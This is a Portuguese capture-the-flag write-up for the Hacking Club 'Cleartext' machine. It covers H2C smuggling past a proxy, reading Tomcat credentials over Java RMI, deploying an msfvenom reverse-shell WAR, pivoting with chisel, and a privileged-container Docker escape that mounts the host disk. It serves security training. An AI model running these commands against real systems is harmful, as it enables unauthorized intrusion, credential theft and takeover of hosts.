Você está na página 1de 19

Write-Up - Cleartext

Write-up cleartext

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso incrível se você não
sabe por onde começar. Além das máquinas vulneráveis, você tem acesso a aulas e desafios para praticar
suas habilidades e acesso a uma comunidade exclusiva para jogar e se desafiar.
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas.
Então, vamos usar uma ferramenta chamada nmap.
Ports:

Porta 22 - SSH

Porta 111 - RCPBIND

Porta 443 - HTTPS

Porta 1099 - RMI

Write-Up - Cleartext 1
Site:

Após navegar pelo o menu do site, temos algo interessante em intranet, mas não temos permissão para
acessar → 403

HTTP2 Over Cleartext (H2C)


Uma conexão HTTP normal normalmente dura apenas a duração de uma única solicitação. No entanto,
H2C ou “ http2 over cleartext” é onde uma conexão http transitória normal é atualizada para uma
conexão persistente que usa o protocolo binário http2 para se comunicar continuamente em vez de
uma solicitação usando o protocolo http de texto simples.
A segunda parte do contrabando ocorre quando um proxy reverso é usado . Normalmente, quando as
solicitações http são feitas para um proxy reverso, o proxy trata a solicitação, processa uma série de regras
de roteamento, encaminha a solicitação para o back-end e retorna a resposta. Quando uma solicitação http
inclui um Connection: Upgrade cabeçalho, como para uma conexão websocket, o proxy reverso manterá a
conexão persistente entre o cliente e o servidor, permitindo a comunicação contínua necessária para
esses protocolos . Para uma conexão H2C, o RFC requer a presença de 3 cabeçalhos:
Upgrade: h2c

HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA

Write-Up - Cleartext 2
Connection: Upgrade, HTTP2-Settings

Então onde está o erro? Ao atualizar uma conexão, o proxy reverso geralmente para de lidar com
solicitações individuais , supondo que, uma vez que a conexão tenha sido estabelecida, seu trabalho de
roteamento esteja concluído. Usando H2C Smuggling, podemos ignorar as regras que um proxy reverso
usa ao processar solicitações como roteamento baseado em caminho, autenticação ou processamento
WAF, desde que possamos estabelecer uma conexão H2C primeiro.

https://github.com/BishopFox/h2csmuggler.git

Exploração:
Depois de identificar um ponto de extremidade afetado que pode ser usado para encapsulamento, agora
podemos acessar ou forçar pontos de extremidade internos no servidor de back-end e fornecer verbos ou
cabeçalhos personalizados. Demonstrarei o acesso a /intranet endpoint interno usando o contrabando de
h2c para ignorar as regras de negação de proxy.

Olhando o código fonte da intranet, podemos encontrar a nossa primeira flag

Junto com a flag podemos ver que temos um Authorization Header.


use this Authorization header to access staging project.

O cabeçalho de solicitação de autorização HTTP pode ser usado para fornecer credenciais que
autenticam um agente de usuário com um servidor, permitindo acesso a um recurso protegido.
Agora iremos interceptar a requisição com o burp suite e adicionaremos nosso Authorization header .
Mas para isso temos que sempre manter o Authorization header para poder navegar no website,

O burp suite tem uma opção para isso, segue abaixo:

Write-Up - Cleartext 3
Após interceptar a requisição, iremos em options → Match and Replace

Assim ele enviará o Authorization header em todas nossas requisições.


Agora é só dar forwarding e desabilitar o intercept.

Write-Up - Cleartext 4
Mas temos que manter o proxy ativado no navegador.

Após fazer todo esse trabalho, temos a página do tomcat.

Agora podemos acessar o manager do tomcat.

Write-Up - Cleartext 5
Após tentar acessar com as credencias default do tomcat não obtive sucesso =(

Java RMI - RMI-IIOP


Java Remote Method Invocation , ou Java RMI , é um mecanismo RPC orientado a objetos que permite
que um objeto localizado em uma máquina virtual Java chame métodos em um objeto localizado em outra
máquina virtual Java . Isso permite que os desenvolvedores escrevam aplicativos distribuídos usando um
paradigma orientado a objetos.
Podemos utilizar o Jconsole para acessar a porta 1099 com interface gráfica.

O JConsole é uma ferramenta de monitoramento gráfico para monitorar Java Virtual Machine e aplicativos
Java em uma máquina local ou remota.

Write-Up - Cleartext 6
Em Mbeans, podemos pegar as credenciais do tomcat em Users → User → tomcat → UserDatabase →
Attributes

Com as credenciais em mãos podemos agora acessar o manager do tomcat

Write-Up - Cleartext 7
Após ter acesso ao manager, podemos fazer deploy de uma reverse shell → .war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Vá em browser e seleciona shell.war, após isso clica em deploy

Write-Up - Cleartext 8
Ouvinte do netcat para receber a conexão:

Agora é só clicar em /shell e receber a conexão

Write-Up - Cleartext 9
Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python3 -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

stty raw -echo;fg

Enter

export TERM=xterm

Indo na raiz do sistema → / podemos encontrar a nossa segunda flag.

Write-Up - Cleartext 10
Como podemos ver estamos em um docker, após fazer algumas enumerações, passo pra outra
abordagem, fazer um scan com nmap para encontrar possíveis novos hosts na rede.
Então iremos usar o nmap estático:

static-binaries/nmap at master · andrew-d/static-binaries


Various *nix tools built as statically-linked binaries - static-binaries/nmap at master ·
andrew-d/static-binaries

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

Ping sweep

./nmap -sn 172.18.0.0-255

Write-Up - Cleartext 11
No host 172.18.0.2 temos algo interessante → Portainer

O Portainer é uma plataforma centralizada de entrega de serviços para aplicativos em contêiner. Ele
ajuda a acelerar a adoção de contêineres e reduzir o tempo de retorno no Kubernetes e Docker com
um portal de gerenciamento de autoatendimento inteligente, permitindo que você forneça
aplicativos em contêineres do data center até a borda.
Por padrão o Portainer Server irá expor a interface do usuário pela porta 9443.
Podemos tirar prova disso.

Pivoting
Sabendo que a porta está aberta, agora podemos jogar a conexão dessa porta para a nossa máquina,
assim iremos conseguir acessar a interface do Portainer pelo o nosso navegador.

Para isso utilizaremos a ferramenta Chisel

https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz

Write-Up - Cleartext 12
Com o chisel no servidor, iremos executar os seguintes comandos:

./chisel server -p 9000 --reverse

./chisel client <IP-VPN>:9000 R:9443:172.18.0.2:9443

Write-Up - Cleartext 13
Com isso podemos acessar a interface do Portainer pelo o nosso navegador.

Agora basta criar uma senha e logar.

Write-Up - Cleartext 14
Após estar logado, podemos ir em Home → local → Containers

Como podemos ver o container ct_app_1 está rodando toda a aplicação que ownamos → host 172.18.0.5

Write-Up - Cleartext 15
O privilege escalation acontecerá da seguinte forma, iremos subir outro container com essa imagem
ct_app_1 , só que iremos configurar esse novo container com privileged true, para que assim possamos

escapar montando o disco do host.

hacktricks/docker-breakout.md at master · carlospolop/hacktricks


In summary, it's an isolated process via cgroups (what the process can use, like CPU
and RAM) and namespaces (what the process can see, like directories or other
processes): docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian
https://github.com/carlospolop/hacktricks/blob/master/linux-unix/privilege-escalation/d
ocker-breakout.md#--privileged-flag

Let’s go
Add container

Runtime & Resources

Write-Up - Cleartext 16
Deploy

Agora clique em ( >_ ) Exec console

Write-Up - Cleartext 17
Connect

E temos o terminal

Agora basta executar os seguintes comandos abaixo para montar o disco do host em /mnt:

df -h

mount /dev/xvda1 /mnt

Write-Up - Cleartext 18
Agora podemos entrar no diretório /mnt/root e ler a última flag

Write-Up - Cleartext 19

Você também pode gostar